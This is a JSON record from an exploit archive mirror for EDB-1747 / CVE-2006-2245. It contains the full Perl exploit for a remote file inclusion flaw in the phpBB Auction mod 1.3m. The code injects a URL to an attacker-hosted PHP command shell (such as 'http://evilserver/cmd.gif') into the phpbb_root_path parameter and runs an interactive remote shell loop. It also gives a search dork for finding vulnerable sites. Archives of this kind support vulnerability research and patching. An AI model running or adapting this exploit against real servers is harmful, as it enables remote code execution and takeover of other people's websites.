{"exploit":{"id":"EDB-1747","name":"Auction 1.3m - 'phpbb_root_path' Remote File Inclusion (RFI)","description":"Auction 1.3m - 'phpbb_root_path' Remote File Inclusion (RFI)","cves":["CVE-2006-2245"],"author":"webDEViL","published":"2006-05-04","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1747","path":"exploits/php/webapps/1747.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1747.pl","vulnerabilities":[{"id":"CVE-2006-2245","state":"PUBLISHED","title":null,"titleSource":null,"description":"PHP remote file inclusion vulnerability in auction\\auction_common.php in Auction mod 1.3m for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-2245","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-2245"},"updatedAt":"2024-08-07T17:43:28.904Z","retrievedAt":"2026-11-27T18:12:46.776Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1747.png?v=2","url":"https://exploitbin.com/exploits/EDB-1747","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1747/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1747/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n##\n#phpBB auction mod - Remote File Inclusion Vuln\n# Bug discovered by VietMafia\n# code copier: webDEViL w3bd3vil[at]gmail.com\n#code same as Fast Click <= 2.3.8 Remote File Inclusion exploit\n# dork: intext:\"phpbb - auction\" inurl:\"auction\"\n# usage:\n# perl wb1.pl <target> <cmd shell location> <cmd shell variable>\n# perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd\n# cmd shell example: <?system($cmd);?>\n# cmd shell variable: ($_GET[cmd]);\n\nuse LWP::UserAgent;\n\n$Path = $ARGV[0];\n$Pathtocmd = $ARGV[1];\n$cmdv = $ARGV[2];\n\nif($Path!~/http:\\/\\// || $Pathtocmd!~/http:\\/\\// || !$cmdv){usage()}\n\nhead();\n\nwhile()\n{\n      print \"[shell] \\$\";\nwhile(<STDIN>)\n      {\n              $cmd=$_;\n              chomp($cmd);\n\n$xpl = LWP::UserAgent->new() or die;\n$req = HTTP::Request->new(GET =>$Path.'/auction/auction_common.php?phpbb_root_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die \"\\nCould Not connect\\n\";\n\n\n$res = $xpl->request($req);\n$return = $res->content;\n$return =~ tr/[\\n]/[ê]/;\n\nif (!$cmd) {print \"\\nPlease Enter a Command\\n\\n\"; $return =\"\";}\n\nelsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)\n      {print \"\\nCould Not Connect to cmd Host or Invalid Command Variable\\n\";exit}\nelsif ($return =~/^<br.\\/>.<b>Fatal.error/) {print \"\\nInvalid Command or No Return\\n\\n\"}\n\nif($return =~ /(.*)/)\n\n{\n      $finreturn = $1;\n      $finreturn=~ tr/[ê]/[\\n]/;\n      print \"\\r\\n$finreturn\\n\\r\";\n      last;\n}\n\nelse {print \"[shell] \\$\";}}}last;\n\nsub head()\n {\n print \"\\n============================================================================\\r\\n\";\n print \"  phpBB auction mod - Remote File Inclusion Vuln\\r\\n\";\n print \"============================================================================\\r\\n\";\n }\nsub usage()\n {\n head();\n print \" Usage: perl wb1.pl <target> <cmd shell location> <cmd shell variable>\\r\\n\\n\";\n print \" <Site> - Full path to phpBB auction ex: http://www.site.com/ or http://www.site.com/phpbb/ \\r\\n\";\n print \" <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \\r\\n\";\n print \" <cmd variable> - Command variable used in php shell \\r\\n\";\n print \"============================================================================\\r\\n\";\n print \"                          webDEViL w3bd3vil[at]gmail.com \\r\\n\";\n print \"============================================================================\\r\\n\";\n exit();\n }\n\n# milw0rm.com [2006-05-04]","sha256":"b90a77fc0c3ba67d1246b7a8ecf0c8a5f45609ddfab114277c5572aeffad2083","bytes":2454,"fetchedAt":"2026-11-27T18:12:45.075Z","encoding":"utf-8 (display only; download retains original bytes)"}